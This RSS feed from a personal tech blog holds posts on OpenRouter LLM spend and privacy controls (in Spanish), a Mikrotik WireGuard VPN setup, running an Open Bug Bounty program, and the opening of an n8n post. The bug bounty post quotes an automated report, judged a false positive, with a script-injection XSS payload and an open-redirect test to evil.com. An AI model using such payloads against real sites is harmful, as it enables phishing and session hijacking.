<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[jd-apprentice - blog]]></title><description><![CDATA[🧰 devops | 💻 tech | 📚 linux | 💖 anime]]></description><link>https://blog.jonathan.com.ar</link><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 14:43:14 GMT</lastBuildDate><atom:link href="https://blog.jonathan.com.ar/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Como gestiono mis consumos y LLMs con Openrouter
]]></title><description><![CDATA[En la epoca esta que nos encontramos, existen miles de LLMs que siguen saliendo dia a tras dia, el mercado es una competencia por quien mantiene los modelos frontier mientras cada vez los gratuitos o ]]></description><link>https://blog.jonathan.com.ar/gestion-de-recursos-con-openrouter</link><guid isPermaLink="true">https://blog.jonathan.com.ar/gestion-de-recursos-con-openrouter</guid><category><![CDATA[AI]]></category><category><![CDATA[llm]]></category><category><![CDATA[openrouter]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Tue, 10 Mar 2026 00:23:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/823cd413-ed4b-47cc-ac7c-7dcf88a955a8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En la epoca esta que nos encontramos, existen miles de LLMs que siguen saliendo dia a tras dia, el mercado es una competencia por quien mantiene los modelos frontier mientras cada vez los gratuitos o accesibles para todos terminan solamente siendo utiles para cosas basicas y si sos una persona que le interesa la privacidad posiblemente hayas pensado en correr cosas locales lo cual sigue siendo la mejor idea pero requiere dinero, gestionar mas de una subscripcion no es una opcion, vivir de un solo provedor tampoco, hay demasiados problemas entorno a todo esto para quien desarrolla, sin contar que si tu empresa no tiene un contrato enterprise estas entregando datos sensibles en cantidades, como tambien si vos tenes proyectos personales y todavia decis, no puedo ni hostear mis modelos ni acceder a un plan enterprise donde no entrenan modelos en base a mis prompts estas como ?? que hago.</p>
<p>Este ultimo tiempo por una cuestion de querer optimizar mis consumos, centralizar cosas y ver como puedo mejorar mi flujo, termine adoptando en su totalidad <a href="https://openrouter.ai/">Openrouter</a> si bien no es algo nuevo, aun para esta epoca sigue teniendo su encanto, siendo que podes centralizar todos tus consumos ahi, no tenes subscripciones y pagas por uso lo cual te have evaluar tus gastos y buscar modelos optimos para cada tarea, que si lo pensas para un sistema serio no le vas a tirar Opus 4.6 a todo lo que camina, entonces dependiendo la tarea podes empezar a buscar, entre benchmarks que hay en la misma pagina, precios y demas lo que mejor te convenga para lo que haces, sin contar que tienen su querido <code>openrouter/free</code> que si estas haciendo experimentos y si te dignas en leer su politica de <a href="https://openrouter.ai/docs/guides/features/zdr">ZDR</a>, tenes alguna que otra cosita para usar.</p>
<h2>Como aprovechar la plataforma</h2>
<h3>Gestion de API Keys</h3>
<p>Primero que todo, vamos a empezar a crear apikeys en el panel que tiene</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/04fb2ff2-a7ef-4f7a-91ec-571220086578.png" alt="" style="display:block;margin:0 auto" />

<p>Siendo que mi caso es el de un individual (en un proximo blog voy a mostrar como gestionar uno para empresas)</p>
<p>Podemos crear por caso de uso, algo importante obvio para pensar desde siempre es poner un limitante, sea que fue una PoC algo que crees que vas a gastar centavos o demas es siempre crear una nueva apikey ya que si una de las que tenes se filtra por error primero  </p>
<ul>
<li><p>Solo se va a filtrar esa apikey</p>
</li>
<li><p>Tenes controlado por si alguien llega a consumirla para que no llegue a ser un gasto que afecte tu bolsillo (o controlarte vos mismo)</p>
</li>
</ul>
<p>Dato importante de las keys, las mismas pueden incluir consumo de otras plataformas que tenemos</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/65b913e7-98c6-4240-a1c1-10733a94ffbb.png" alt="" style="display:block;margin:0 auto" />

<p>Donde BYOK significa Bring your own key, asi que si tenemos otras cositas podemos tambien centralizarlas aca.</p>
<h3>Busqueda de modelos con buen rendimiento</h3>
<p>Para esto podemos usar la parte de <code>models</code> y ordenar justamente por <a href="https://openrouter.ai/models?order=most-popular">most popular</a> esto significa que son los mejores? no pero viendo el uso de la pagina podemos asumir que los mas usados son la mezcla de el famoso bueno bonito y barato</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/7f95c327-4d36-4a37-b13c-11d3488268ba.png" alt="" style="display:block;margin:0 auto" />

<p>Sobre todo cuando vemos la diferencia de consumo que hay, al dia de la fecha que escribo esto MiniMax M2.5 se encuentra primero hace tiempo por mas que se pueda ver que no es el #1 en varias categoria, esto muchas veces se ve afectado por el precio que tiene relacionado a sus benchmarks</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/c74f7fa8-bf18-42d3-9c8e-4ac462e84ee2.png" alt="" style="display:block;margin:0 auto" />

<p>0.089 USD x millon de tokens en average de input price es bajisimo, para contexto claude opus 4.6 actualmente tiene este coste promedio</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/f17e6c29-6c22-49b4-b7e1-954251d090a3.png" alt="" style="display:block;margin:0 auto" />

<p>Despues obviamente podemos ver muchisima informacion sobre ese modelo</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/8a274989-24eb-42a3-b0b3-8e19ceef7cff.png" alt="" style="display:block;margin:0 auto" />

<h3>Consumo centralizado</h3>
<p>Si empezamos a probar y usar 200 cosas diferentes, crear apikeys, jugar y demas se va todo al corno si, pero es facil verlo desde la interfaz</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/a632aea7-4fcf-4f2a-a7d8-f8abf34ab0df.png" alt="" style="display:block;margin:0 auto" />

<p>Empezar a filtrar por apikey, modelo y todo lo que se te ocurra.</p>
<h3>Manejo de privacidad</h3>
<p>Posiblemente una de las cosas mas importantes, por que? y por que a algunas personas nos importa que hacen con nuestros datos, si bien sabemos que mientras mas control queremos la vida se vuelve menos practica y empezamos a sacrificar comodidades, para quien entiende lo que pasa por detras, es lindo tener un balance y poder vivir con comodidades, sin entregar tu vida digital al mejor postor.</p>
<p>Que tenemos en la plataforma? bastantes cositas que me terminaron resultando interesantes, primero vamos a tener una vista de disponibilidad respecto a que modelos vamos a poder usar en base a nuestra configuracion</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/393aa495-ab56-4104-83db-5ca67938dc24.png" alt="" style="display:block;margin:0 auto" />

<p>Cuando empezemos a cambiar cosas vamos a ver que algunos no van a estar disponibles y nos va a dar una warning mencionando que politica viola este modelo en base a lo que le pedimos.</p>
<p>Un ejemplo</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/27169e12-c0bd-4c51-b655-9459805f7847.png" alt="" style="display:block;margin:0 auto" />

<p>Por que se dio eso? por la siguiente politica</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/cd8766e9-8453-48ca-b473-859a324c1c35.png" alt="" style="display:block;margin:0 auto" />

<p>Tengase en cuenta que esto es propio de la cuenta (afecta a todas mis configuraciones) podemos despues segmentar mejor por apikey o demas.</p>
<p>Tambien tenemos configuraciones por provider, te cae mal OpenAI? bueno podes excluirlo por completo y dejarias de ver cualquier modelo que usa sus APIs</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/ebb43b9a-f908-4fa3-88cd-4f88ec2d1cb3.png" alt="" style="display:block;margin:0 auto" />

<p>Ahora otra cosa importante, los guardrails. Como mencionamos antes las reglas mostradas hasta ahora son globales, aca podriamos aplicar de forma granular para poder segmentar mejor todo.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/e3a5add4-25b2-49b1-b14a-dbd84fea98c0.png" alt="" style="display:block;margin:0 auto" />

<p>Que podemos modificar aca?, vamos a tener una vista de disponibilidad como antes</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/2308842a-5641-4f8b-a837-fd4426183e1a.png" alt="" style="display:block;margin:0 auto" />

<p>Como tambien la siguiente informacion</p>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/47a64b44-51ca-48f0-8d4a-b4ddcc3facc2.png" alt="" style="display:block;margin:0 auto" />

<p>Donde aca tenemos lo siguiente</p>
<ol>
<li><p>Informacion basica del guardrail para nombrarlo e identificarlo (name + description)</p>
</li>
<li><p>Budget, si bien podes enforzar limite por apikey, tambien lo podes hacer por guardrail.</p>
</li>
<li><p>Privacidad, hacer enforcement de ZDR</p>
</li>
<li><p>Modelos, que modelos vamos a poder usar y cuales no</p>
</li>
<li><p>Provedores, como mencionamos antes el que te caiga mal o no confias en lo absoluto se nos va</p>
</li>
<li><p>Informacion sensible, esto es importante ya que aca podemos empezar a definir que nos parece sensible a nosotros y redactar esa informacion en caso que decidamos enviarla</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/6415ede9f94a99cca7bd6e99/a3514716-0dc1-4dc1-abf8-462911140882.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li>Por ultimo la apikey a quien afectaria este guardrail, como para poder agarrar grupos, casos de uso o cualquier cosa que se te ocurra.</li>
</ol>
<h3>Mencionamos varias veces ZDR, pero que es?</h3>
<p>Primero que todo, para leer en detalle tenemos su <a href="https://openrouter.ai/docs/guides/features/zdr">documentacion</a></p>
<p>Ahora esto ya lo mencione 2 veces en lo que va el Blog pero es algo super importante, con palabras de ellos mismos</p>
<blockquote>
<p>Zero Data Retention (ZDR) means that a provider will not store your data for any period of time.</p>
<p>OpenRouter has a <a href="https://openrouter.ai/settings/privacy">setting</a> that, when enabled, only allows you to route to endpoints that have a Zero Data Retention policy.</p>
<p>Providers that do not retain your data are also unable to train on your data. However we do have some endpoints &amp; providers who do not train on your data but <em>do</em> retain it (e.g. to scan for abuse or for legal reasons). OpenRouter gives you controls over both of these policies.</p>
</blockquote>
<p>Que pasa aca? bueno que un endpoint que tenga ZDR significa que no van a usar nuestros datos de input/output para entrenar modelos, ni tampoco retenerlo en sus logs, similar a los servicios de VPN que tienen su <code>No Log Policy</code> para mas cuestiones sobre VPN recomiendo el siguiente <a href="https://www.privacyguides.org/en/vpn/">recurso</a></p>
<p>Ahora otra cosa interesante es como trabajan ellos, poniendose en contacto con los provedores para establecer esta ZDR y en caso que no puedan llegar a un acuerdo mencionan lo siguiente</p>
<blockquote>
<p>If OpenRouter is not able to establish or ascertain a clear policy for a provider or endpoint, we take a conservative stance and assume that the endpoint both retains and trains on data and mark it as such.</p>
</blockquote>
<p>Que significa esto? que cualquiera que no quiera dar la informacion que tiene que dar, es catalogado como alguien de desconfianza y podemos asumir que retiene logs o entrena con nuestros prompts.</p>
<h2>Conclusion</h2>
<p>Si bien quedan cosas por mirar, hasta este punto siento que cualquiera (como vengo haciendo yo) le puede sacar bastante provecho a la plataforma, economizando costos, centralizando consumos para no andar gastando de mas y cuidando sus datos cuando se requiera.</p>
<p>La plataforma tiene una muy buena developer experience en ese caso haciendo todo bastante facil, recomiendo pegarle una mirada.</p>
]]></content:encoded></item><item><title><![CDATA[Your own VPN with Mikrotik + Wireguard]]></title><description><![CDATA[In this article we will cover the idea of having a VPN with Wireguard, for those who have a Mikrotik already. Since routerOS 7+ has a wireguard module included and it’s quite easy to setup.
Requirements

Basic networking knowledge

Mikrotik Router wi...]]></description><link>https://blog.jonathan.com.ar/your-own-vpn-with-mikrotik-wireguard</link><guid isPermaLink="true">https://blog.jonathan.com.ar/your-own-vpn-with-mikrotik-wireguard</guid><category><![CDATA[networking]]></category><category><![CDATA[vpn]]></category><category><![CDATA[self-hosted]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Mon, 08 Dec 2025 04:29:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765072768977/3842b8b5-1985-4148-9de2-96f6f717a87b.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this article we will cover the idea of having a VPN with Wireguard, for those who have a Mikrotik already. Since routerOS 7+ has a wireguard module included and it’s quite easy to setup.</p>
<h2 id="heading-requirements">Requirements</h2>
<ul>
<li><p>Basic networking knowledge</p>
</li>
<li><p>Mikrotik Router with RouterOS 7+</p>
</li>
<li><p>Access to your ISP Router (Optional)</p>
</li>
</ul>
<h2 id="heading-understand-your-network">Understand your network</h2>
<p>Why I’m saying this? because things could change depending on the state of your network, I’m my case I have the router of the ISP and the mikrotik one and since I’m not doing a bridge, I have 2 networks in the home, which I don’t use one of them (the ISP one) but I have to port forward things from it into the mikrotik when I’m trying to expose things to the internet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765072481276/4486085b-3760-4f53-84ff-7bcf31e2dd02.png" alt class="image--center mx-auto" /></p>
<p>So what about your case? well if you are using your mikrotik with the ISP one and doing a bridge, you could probably skip the port forwarding thing since you manage everything from mikrotik and the ISP one is only giving internet and becomes a brick.</p>
<p>As for hardware itself I’m using</p>
<ul>
<li><a target="_blank" href="https://mikrotik.com/product/hap_ac2">https://mikrotik.com/product/hap_ac2</a></li>
</ul>
<h2 id="heading-prepare-your-routers">Prepare your router/s</h2>
<p>If everything is already plug in the way you want, go ahead and access each of them at least for the first time, in case you want to do a bridge configuration I’m not covering this topic here :)</p>
<h3 id="heading-isp-router">ISP Router</h3>
<ul>
<li>Check if you have access to it, how? <a target="_blank" href="https://www.wikihow.com/Access-a-Router">https://www.wikihow.com/Access-a-Router</a></li>
</ul>
<h3 id="heading-mikrotik">Mikrotik</h3>
<ul>
<li><p>If you have little to no experience I’ll suggest that you use <a target="_blank" href="https://help.mikrotik.com/docs/spaces/ROS/pages/328129/WinBox">https://help.mikrotik.com/docs/spaces/ROS/pages/328129/WinBox</a> but access at least for the first time.</p>
</li>
<li><p>You can try to enter with creds “admin:" which means admin and no password, else <a target="_blank" href="https://help.mikrotik.com/docs/spaces/RKB/pages/285147143/Default+password">https://help.mikrotik.com/docs/spaces/RKB/pages/285147143/Default+password</a></p>
</li>
</ul>
<p>If you routeros version is below &lt;7 we are going to need an update.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765073563424/88e3fb59-6fb6-450c-8427-8a32f0f4a52c.png" alt class="image--center mx-auto" /></p>
<p>If case you need to update it you can go into <code>System</code> &gt; <code>Packages</code> and there you go, It may be needed to use channel <code>Testing</code> if you device is really old.</p>
<h2 id="heading-configure-wireguard-your-server">Configure wireguard your server</h2>
<p>This section is quite simple, if we already have our RouterOS 7 a section regarding Wireguard should be there</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765073940909/92209874-9e7d-440e-a3ba-98010ede2bf2.png" alt class="image--center mx-auto" /></p>
<p>Once we click it we can configure our server, which in the case of it the only fields that require change are these two</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765073992184/17074e08-1986-4cb7-ad63-0befa1904806.png" alt class="image--center mx-auto" /></p>
<p>Name could be anything, port make sure is one free and pref from the 10-60k range, save it for later we are going to use it in our approach with 2 networks, the private key it auto generates so don’t worry.</p>
<p>This creates a new interface which we are going to use in our <code>Address List</code> in the next section.</p>
<h2 id="heading-configure-your-address-list">Configure your address list</h2>
<p>To do so, we are going to <code>IP</code> &gt; <code>Address</code> and then click at <code>New</code> from that we can select a range and the interface that was generated from creating the Wireguard server before.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765165157524/bbb5c3d0-ab9d-447e-bbe9-a7e3b43b6b50.png" alt class="image--center mx-auto" /></p>
<p>Once this is complete, this will also add a entry in the routing table located at <code>IP</code> &gt; <code>Routes</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765147544090/2ac08c6d-9dec-47fc-8a0a-6e29b78b1e0e.png" alt class="image--center mx-auto" /></p>
<p>In case you want to read more about routing here is the docs <a target="_blank" href="https://help.mikrotik.com/docs/spaces/ROS/pages/328084/IP+Routing">https://help.mikrotik.com/docs/spaces/ROS/pages/328084/IP+Routing</a>, also here a cool video about it <a target="_blank" href="https://www.youtube.com/watch?v=8qtKpZGoNdI">https://www.youtube.com/watch?v=8qtKpZGoNdI</a></p>
<h2 id="heading-configure-your-firewall">Configure your firewall</h2>
<p>To go into this section we should click <code>IP</code> &gt; <code>Firewall</code></p>
<p>Now for the firewall we need a few things depending on what we want to archive, here I’m going to show a quick/simple example that forwards the traffic from the range we created before and also allowed in our entire network.</p>
<p>The rule needed for this particular configuration (one to accept everything coming from this range we created)</p>
<h3 id="heading-accept-input-src-address">Accept - Input - Src. Address</h3>
<p>Here we are saying, all of the traffic coming from <code>192.168.178.0/24</code> accept it into any dst address, protocol, port, etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765149571136/c4cb9d4c-8ac6-49fe-bc22-ba244dc9e6be.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765149581665/b8362dac-29ea-4fb1-bbe4-517211e4b778.png" alt class="image--center mx-auto" /></p>
<p>Make sure this rule is <code>ABOVE</code> any other drop rule, or else your package will be lost. Now into the next section, we are going to see how to create a peer and connect into this network from outside our LAN</p>
<h2 id="heading-port-forwarding">Port forwarding</h2>
<p>Before creating our peer we are probably going to need a forward here :)</p>
<p>Login into your ISP router and create a rule to forward for the listening port that Wireguard is doing the listening (in this tutorial we were using <code>13231</code>) for the protocol part TCP should be enough but I’ll enable both of them just in case.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765166973009/fdf1b7fa-b35f-41bb-a8f3-6000a553fde4.png" alt class="image--center mx-auto" /></p>
<p>That onto the ip address of your mikrotik using the IP generated from the ISP router, with this we are saying, hey handle request coming into my public ip from this port into this IP.</p>
<h2 id="heading-create-your-first-peer">Create your first peer</h2>
<h3 id="heading-create-the-tunnel-in-wireguard-android-app">Create the tunnel in Wireguard Android App</h3>
<p>For this example I’m going to use my phone → <a target="_blank" href="https://play.google.com/store/apps/details?id=com.wireguard.android&amp;hl=en-US">https://play.google.com/store/apps/details?id=com.wireguard.android&amp;hl=en-US</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765163743145/c68ec7b9-108e-4296-b3b3-41401540ca4b.png" alt class="image--center mx-auto" /></p>
<p>Once inside choose to create a new tunnel from zero, after that we will choose a name, type our address that we decided before and point our DNS server (if there is any private resolution, else just use <code>1.1.1.1</code> or <code>8.8.8.8</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765164573292/d229c663-03a3-4f50-814a-905d0e470d50.png" alt class="image--center mx-auto" /></p>
<p>From here we are going to <code>COPY THE PUBLIC KEY</code> and use it in the Wireguard peer in mikrotik.</p>
<h3 id="heading-configure-the-peer-in-mikrotik">Configure the Peer in Mikrotik</h3>
<p>Now it’s time to sync things from the mikrotik part, let’s go into <code>Wireguard</code> &gt; <code>Peers</code> and create a new one</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765151037276/366ee82a-580d-4af0-8014-bc0a68798ad7.png" alt class="image--center mx-auto" /></p>
<p>Here we need to use the public key we generated and copied in the previous step, in my case is <code>iv39qZIHpWuGDNfSdt8TzMUzKtY8XEaTOH1fxh3alAA=</code> for private key let’s use <code>none</code> for now, and in allowed address let’s type one for example <code>192.168.178.3/32</code> with this we should be ok for this part.</p>
<p>Now back into the android app, edit the tunnel we created before to add a peer, in the public key we need to use the one from the Wireguard instance we created way before (the one from the picture below)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765165745964/4f87bfed-9c62-4db1-b433-92d6ad761e97.png" alt class="image--center mx-auto" /></p>
<p>For the <code>Endpoint</code> part we need our public ip (<a target="_blank" href="https://whatismyipaddress.com/">https://whatismyipaddress.com/</a>) + the listen port we set when we created the wireguard instance (13231 in the picture above) so it’s going to be something like <code>&lt;IP&gt;:&lt;PORT&gt;</code> and for allowed ips for now let’s use <code>0.0.0.0/0</code>.</p>
<p>End result should look like this in android →</p>
<p>Tunnel</p>
<ul>
<li><p>Name (Anything)</p>
</li>
<li><p>Public Key (Auto generated here and copied into mikrotik peer)</p>
</li>
<li><p>Address (the one we are going to live on)</p>
</li>
<li><p>DNS Server (private one or 1.1.1.1)</p>
</li>
</ul>
<p>Peer</p>
<ul>
<li><p>Public Key (The one from the wireguard instance in mikrotik)</p>
</li>
<li><p>Allowed Ips (0.0.0.0/0)</p>
</li>
<li><p>Endpoint (&lt;PUBLIC_IP&gt;:&lt;PORT&gt;)</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765166002239/371aca4c-f53c-4404-a106-4a6766ad0a83.png" alt class="image--center mx-auto" /></p>
<p>There we go, now we could enable this and navigate in our network :), if done correctly up until now we should see some traffic going on</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765166743206/6f93ccb0-847c-40be-af4b-eb15b5db343e.png" alt class="image--center mx-auto" /></p>
<p>Here our device shouls activity and also mentions that we are connected via Wireguard.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765167339039/da3d2c0f-681a-4a09-bde8-80fba715a250.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-access-your-network">Access your network</h2>
<p>At this point with the wireguard client enabled we should be able to access our private network</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765167378121/bff59849-28bb-47ed-82e7-bffb98c84bbf.png" alt class="image--center mx-auto" /></p>
<p>It’s maybe not clear for you, but this resource is clearly internal and works only on my network, so with this I’m able to connect and handle things if there is an emergency :)</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Wireguard could be a “Easy” (if you have a more clear understand of what are you doing not like me) to setup and use, I’ll highly recommended!! :)</p>
]]></content:encoded></item><item><title><![CDATA[Running Your Own Bug Bounty Program: How Hard Is It, Really? Ft - Open Bug Bounty]]></title><description><![CDATA[Have you ever trough about how you can improve the security of your own ideas? maybe a product? well there is a lot of ways, depending of the scope of the feature you want to try, or maybe all of them! one idea that should come to your mind is Bug Bo...]]></description><link>https://blog.jonathan.com.ar/running-your-own-bug-bounty-program-how-hard-is-it-really-ft-open-bug-bounty</link><guid isPermaLink="true">https://blog.jonathan.com.ar/running-your-own-bug-bounty-program-how-hard-is-it-really-ft-open-bug-bounty</guid><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Mon, 24 Nov 2025 08:10:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763965991927/ed8d07e4-2106-4d29-8c61-fa5952e1ab38.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Have you ever trough about how you can improve the security of your own ideas? maybe a product? well there is a lot of ways, depending of the scope of the feature you want to try, or maybe all of them! one idea that should come to your mind is Bug Bounty programs, these programs ensure that penetration testers have a clean and detailed overview about the project itself, scopes and other things to try to abuse your application (within the available things).</p>
<h2 id="heading-create-your-account">Create your account</h2>
<p>In order to create an account we must go to <a target="_blank" href="https://www.openbugbounty.org/">https://www.openbugbounty.org/</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763966993684/63365c1f-5736-459b-b4c0-4f3f0f276266.png" alt class="image--center mx-auto" /></p>
<p>Next we click that</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763967029756/31a29509-5130-4d69-be00-20d82a91d54d.png" alt class="image--center mx-auto" /></p>
<p>Here we can create our account</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763967051140/4a2b81c7-4f55-4fef-9bc4-a6552d16bde4.png" alt class="image--center mx-auto" /></p>
<p>After that we should try to login</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763967086581/06b607fd-fd8d-4b99-9971-aada53286915.png" alt class="image--center mx-auto" /></p>
<p>When you try to login you will receive a OTP code in your email</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763967267584/34d02e93-5f8d-4da0-81cb-3124f38531e7.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-about-creating-a-program-in-open-bug-bounty">About creating a program in open bug bounty</h2>
<p>Now with an account we can go into <a target="_blank" href="https://www.openbugbounty.org/claim-a-website/">https://www.openbugbounty.org/claim-a-website/</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763967447503/0613dd63-ae33-4db0-8fd4-222c9ee30c6f.png" alt class="image--center mx-auto" /></p>
<p>These are the steps to create our program, inside <code>preferences</code> we can set our domains</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763967576700/eda8a8d0-de24-4879-b7e6-a0caf9baf0d3.png" alt class="image--center mx-auto" /></p>
<p>To add a domain we need to have a <code>security.txt</code>, refer to <a target="_blank" href="https://securitytxt.org/">https://securitytxt.org/</a> to obtain more information about that file in general.</p>
<p>From there just investigate the webpage and complete the other things yourself! Now I’m going into the next section which is not listed here in their webpage.</p>
<h2 id="heading-what-happens-after-your-program-gets-acceptedverified">What happens after your program gets accepted/verified?</h2>
<p>First of all you appear in the Recently started programs in the mainpage</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763967813216/4c642a27-b362-4d28-812e-be1c2cdb425b.png" alt class="image--center mx-auto" /></p>
<p>What you expect after this usually is</p>
<ul>
<li>People tries to break stuff and report it to you</li>
</ul>
<p>What you actually get</p>
<ul>
<li>A permanent horde of bots trying to break stuff that not even exists there (hope you have a waf or you are going to have a bad time, even worse if you are in a free tier of any kind)</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763968096565/b4a81c46-c2a7-4852-8027-fa54994946a1.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763968100976/df2818a9-0bf0-4fab-bb2e-18ce01c96a63.png" alt class="image--center mx-auto" /></p>
<p>Some automated reports? today I got something like this that after doing a quick check I noticed that was a false positive about something that don’t exist in my app.</p>
<pre><code class="lang-markdown">Reported by: [REDACTED]

Critical Reflected XSS and High Open Redirect vulnerability discovered in the /auth/login endpoint via the unsanitized redirect parameter. The flaw resides in the Next.js React Server Components (RSC) payload.

A. VULNERABILITY 1: Critical XSS Injection (Sanitization Failure)

Impact: Cookie theft, session hijacking, or arbitrary script execution.

Steps to Reproduce (PoC):

Send a GET request with an XSS payload injected into the redirect parameter (using <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span></span> or <span class="xml"><span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">img</span>&gt;</span></span></span>):

GET /auth/login?redirect=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
Observation (Sanitization Failure): The server reflects the full, unencoded payload directly into the RSC response body (Content-Type: text/x-component).

The Smoking Gun (Proof of Execution Attempt):

Crucial Evidence: Despite potential CSP blocking alert(), the browser's console shows a technical execution failure directly linked to the injected URL.

Console Error: Uncaught ReferenceError: <span class="hljs-strong">__name is not defined

Stack Trace Location: The error is traced back to the path: at login?redirect=%22%3E%3Cscript....

Conclusion: This proves that the injected string reached the execution phase (React Hydration/JS Parsing) and was treated as executable code by the browser, confirming a functional XSS vulnerability. (See attached image image<span class="hljs-emphasis">_1f78c0.png).

B. VULNERABILITY 2: High Open Redirect (CWE-601)

Impact: Used for sophisticated phishing attacks by leveraging your trusted domain name.

Steps to Reproduce (PoC):

Use any external URL in the redirect parameter:

GET /auth/login?redirect=https://evil.com
Observation: The external URL is accepted and reflected in the RSC payload, leading to an external redirect.

Recommendation:

XSS Fix: Implement strict server-side input validation and encoding for the redirect parameter to prevent the injection of HTML tags into the RSC payload.

Open Redirect Fix: Restrict the redirect parameter to relative paths (/) or a strict, pre-approved allow-list of domains.</span></span>
</code></pre>
<h2 id="heading-suggestions-before-posting">Suggestions before posting</h2>
<ul>
<li><p>Clearly define the scope of testing.</p>
</li>
<li><p>Implement a monitoring system to detect anomalous patterns and unreported traffic.</p>
</li>
<li><p>Clearly state the exclusions (what not to break) and the program's official time zone.</p>
</li>
<li><p>Establish rules/mechanisms to clearly identify participants from the bug bounty program.</p>
</li>
<li><p>Develop strategies to mitigate/combat automated bot activity.</p>
</li>
<li><p>Offer clear incentives and provide an easy submission process for researchers.</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Have fun while your app breaks, but hey you are going to learn for sure :)</p>
]]></content:encoded></item><item><title><![CDATA[Don't rush things, learn the basics first. Getting ready with n8n]]></title><description><![CDATA[Have you hear already about n8n? probably yes! but you probably got the wrong idea, it’s not only related to AI, it can do a lot of things and before of jumping into it you should play with it a little more so let’s do it in this post
My idea before ...]]></description><link>https://blog.jonathan.com.ar/dont-rush-things-learn-the-basics-first-getting-ready-with-n8n</link><guid isPermaLink="true">https://blog.jonathan.com.ar/dont-rush-things-learn-the-basics-first-getting-ready-with-n8n</guid><category><![CDATA[n8n]]></category><category><![CDATA[automation]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Sun, 26 Oct 2025 20:20:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761509590084/4db45065-8ad8-421c-bebd-1c4433438d04.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Have you hear already about n8n? probably yes! but you probably got the wrong idea, it’s not only related to AI, it can do a lot of things and before of jumping into it you should play with it a little more so let’s do it in this post</p>
